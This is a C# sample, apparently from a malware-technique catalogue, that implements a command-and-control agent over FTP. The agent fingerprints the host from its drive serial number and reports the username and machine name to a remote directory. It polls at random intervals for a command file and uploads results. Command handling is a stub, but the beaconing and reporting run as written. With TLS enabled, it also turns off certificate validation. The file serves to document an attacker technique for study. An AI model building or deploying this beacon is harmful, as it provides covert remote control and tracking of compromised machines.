/*
* =========================================================================================
* www.unprotect.it (Unprotect Project)
* Author: Jean-Pierre LESUEUR (@DarkCoderSc)
* =========================================================================================
*/
/*
* Quick Start with Docker:
*
* > `docker pull stilliard/pure-ftpd`
*
* Unsecure FTP Server:
* > `docker run -d --name ftpd_server -p 21:21 -p 30000-30009:30000-30009 -e "PUBLICHOST: 127.0.0.1" -e "ADDED_FLAGS=-E -A -X -x" -e FTP_USER_NAME=dark -e FTP_USER_PASS=toor -e FTP_USER_HOME=/home/dark stilliard/pure-ftpd`
*
* "Secure" FTP Server (TLS):
* > `docker run -d --name ftpd_server -p 21:21 -p 30000-30009:30000-30009 -e "PUBLICHOST: 127.0.0.1" -e "ADDED_FLAGS=-E -A -X -x --tls=2" -e FTP_USER_NAME=dark -e FTP_USER_PASS=toor -e FTP_USER_HOME=/home/dark -e "TLS_CN=localhost" -e "TLS_ORG=gogopando" -e "TLS_C=FR" stilliard/pure-ftpd`
*
*
* /!\ DO NOT EXPOSE THE FTP SERVER TO LAN / WAN /!\
*/
using System.Net;
using System.Runtime.InteropServices;
using System.Runtime.Versioning;
using System.Security.Cryptography;
using System.Text;
class Program
{
public static Guid AgentSession = Guid.NewGuid();
// EDIT HERE BEGIN ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
public static readonly string FtpHost = "127.0.0.1";
public static readonly string FtpUser = "dark";
public static readonly string FtpPwd = "toor";
public static readonly bool FtpSecure = false;
public static readonly int BeaconDelayMin = 500;
public static readonly int BeaconDelayMax = 1000;
// EDIT HERE END ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool GetVolumeInformation(
string lpRootPathName,
StringBuilder lpVolumeNameBuffer,
int nVolumeNameSize,
out uint lpVolumeSerialNumber,
out uint lpMaximumComponentLength,
out uint lpFileSystemFlags,
StringBuilder lpFileSystemNameBuffer,
int nFileSystemNameSize
);
public static CancellationTokenSource CancellationTokenSource = new();
///
/// The FtpHelper class is a utility in C# designed to streamline the application of the FTP protocol.
/// This is accomplished through abstraction and simplification of the built-in WebRequest class,
/// providing users with a more intuitive and manageable interface for FTP operations.
///
/// Supported operations:
/// * Session Actions
/// * Stream Upload (Generic)
/// * String Upload
/// * Stream Download (Generic)
/// * String Download
/// * Create Directory
/// * Delete File
/// * Enumerate Directory Files
///
public class FtpHelper
{
public string Host;
public string Username;
private string Password;
private bool Secure;
public FtpHelper(string host, string username, string password, bool secure)
{
this.Host = host;
this.Username = username;
this.Password = password;
this.Secure = secure;
}
private FtpWebRequest NewRequest(string? uri)
{
// Microsoft no longer recommends using "WebRequest" for FTP operations and advises opting for third-party components
// specialized in this domain. However, for the sake of this demonstration, the built-in function was deemed convenient.
#pragma warning disable SYSLIB0014
FtpWebRequest request = (FtpWebRequest)WebRequest.Create($"ftp://{this.Host}/{uri ?? ""}");
#pragma warning restore SYSLIB0014
request.Credentials = new NetworkCredential(this.Username, this.Password);
request.UsePassive = true;
request.UseBinary = true;
request.KeepAlive = true;
request.EnableSsl = this.Secure;
return request;
}
public void UploadData(Stream data, string destFilePath)
{
FtpWebRequest request = this.NewRequest(destFilePath);
request.Method = WebRequestMethods.Ftp.UploadFile;
using Stream requestStream = request.GetRequestStream();
data.CopyTo(requestStream);
}
public void UploadString(string content, string destFilePath)
{
byte[] bytes = Encoding.UTF8.GetBytes(content);
using MemoryStream stream = new(bytes);
UploadData(stream, destFilePath);
}
public Stream DownloadData(string remoteFilePath)
{
FtpWebRequest request = this.NewRequest(remoteFilePath);
request.Method = WebRequestMethods.Ftp.DownloadFile;
FtpWebResponse response = (FtpWebResponse)request.GetResponse();
Stream stream = response.GetResponseStream();
return stream;
}
public string DownloadString(string remoteFilePath)
{
using Stream stream = DownloadData(remoteFilePath);
using StreamReader reader = new StreamReader(stream);
return reader.ReadToEnd();
}
private void ExecuteFTPCommand(string remoteDirectoryPath, string command)
{
FtpWebRequest request = this.NewRequest(remoteDirectoryPath);
request.Method = command;
using FtpWebResponse resp = (FtpWebResponse)request.GetResponse();
}
public void CreateDirectory(string remoteDirectoryPath)
{
ExecuteFTPCommand(remoteDirectoryPath, WebRequestMethods.Ftp.MakeDirectory);
}
public void DeleteFile(string remoteDirectoryPath)
{
ExecuteFTPCommand(remoteDirectoryPath, WebRequestMethods.Ftp.DeleteFile);
}
}
///
/// This function generates a unique machine ID by hashing the primary Windows hard drive's serial number and converting it into
/// a pseudo-GUID format.
/// It is specifically designed for Microsoft Windows operating systems. However, you are encouraged to adapt this algorithm for
/// other operating systems and/or employ different strategies to derive a unique machine ID
/// (e.g., using the MAC Address, CPU information, or saving a one-time generated GUID in the Windows registry or a file).
///
/// A unique machine ID in GUID format.
[SupportedOSPlatform("windows")]
public static Guid GetMachineId()
{
string candidate = "";
string mainDrive = Environment.GetFolderPath(Environment.SpecialFolder.System)[..3];
const int MAX_PATH = 260;
StringBuilder lpVolumeNameBuffer = new(MAX_PATH + 1);
StringBuilder lpFileSystemNameBuffer = new(MAX_PATH + 1);
bool success = GetVolumeInformation(
mainDrive,
lpVolumeNameBuffer,
lpVolumeNameBuffer.Capacity,
out uint serialNumber,
out uint _,
out uint _,
lpFileSystemNameBuffer,
lpFileSystemNameBuffer.Capacity
);
if (success)
candidate += serialNumber.ToString();
using MD5 md5 = MD5.Create();
byte[] hash = md5.ComputeHash(Encoding.ASCII.GetBytes(candidate));
return new Guid(Convert.ToHexString(hash));
}
public static void Main(string[] args)
{
// Important Notice: The delegate below renders the current application susceptible to
// Man-in-the-Middle (MITM) attacks when utilizing SSL/TLS features.
// This configuration was implemented to accommodate self-signed certificates.
// However, it is strongly advised not to employ this approach in a production environment
// if SSL/TLS security is expected.
if (FtpSecure)
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
///
// Adapt "GetMachineId" for cross-platform support.
AgentSession = GetMachineId();
List daemons = new List();
///
// This thread is tasked with handling C2 commands and dispatching responses. Note that this sample utilizes a
// single-threaded approach, but it's possible to distribute the operations across multiple threads to enhance
// performance.
daemons.Add(new Thread((object? obj) =>
{
if (obj == null)
return;
FtpHelper ftp = new(FtpHost, FtpUser, FtpPwd, FtpSecure);
string contextPath = $"{AgentSession.ToString()}/{Environment.UserName}@{Environment.MachineName}";
string commandFile = $"{contextPath}/__command__";
CancellationToken cancellationToken = (CancellationToken)obj;
while (!cancellationToken.IsCancellationRequested)
{
string? command = null;
try
{
// Retrieve dedicated command
try
{
command = ftp.DownloadString(commandFile);
}
catch { };
// Create remote directory tree
try
{
ftp.CreateDirectory(AgentSession.ToString());
ftp.CreateDirectory(contextPath);
}
catch { };
// Echo-back command result
if (!String.IsNullOrEmpty(command))
{
// ... PROCESS ACTION / COMMAND HERE ... //
// ...
string commandResult = $"This is just a demo, so I echo-back the command: `{command}`.";
// ...
// ... PROCESS ACTION / COMMAND HERE ... //
string resultFile = $"{contextPath}/result.{DateTime.Now.ToString("yyyy-MM-dd-HH-mm-ss")}";
ftp.UploadString(commandResult, resultFile);
// Delete the command file when processed
try
{
ftp.DeleteFile(commandFile);
}
catch { }
}
///
Thread.Sleep(new Random().Next(BeaconDelayMin, BeaconDelayMax));
}
catch (Exception ex) {
Console.WriteLine(ex.Message);
};
}
}));
// The action to handle a CTRL+C signal on the console has been registered.
// When triggered, it will instruct any associated cancellation tokens to properly
// shut down their associated daemons.
Console.CancelKeyPress += (sender, cancelEventArgs) =>
{
CancellationTokenSource.Cancel(); // Signal tokens that application needs to be closed.
cancelEventArgs.Cancel = true; // Cancel default behaviour
};
// Start daemons
foreach (Thread daemon in daemons)
daemon.Start(CancellationTokenSource.Token);
// Keep process running until CTRL+C.
CancellationToken token = CancellationTokenSource.Token;
while (!token.IsCancellationRequested)
Thread.Sleep(1000);
// Wait for daemons to join main thread
foreach (Thread daemon in daemons)
daemon.Join();
}
}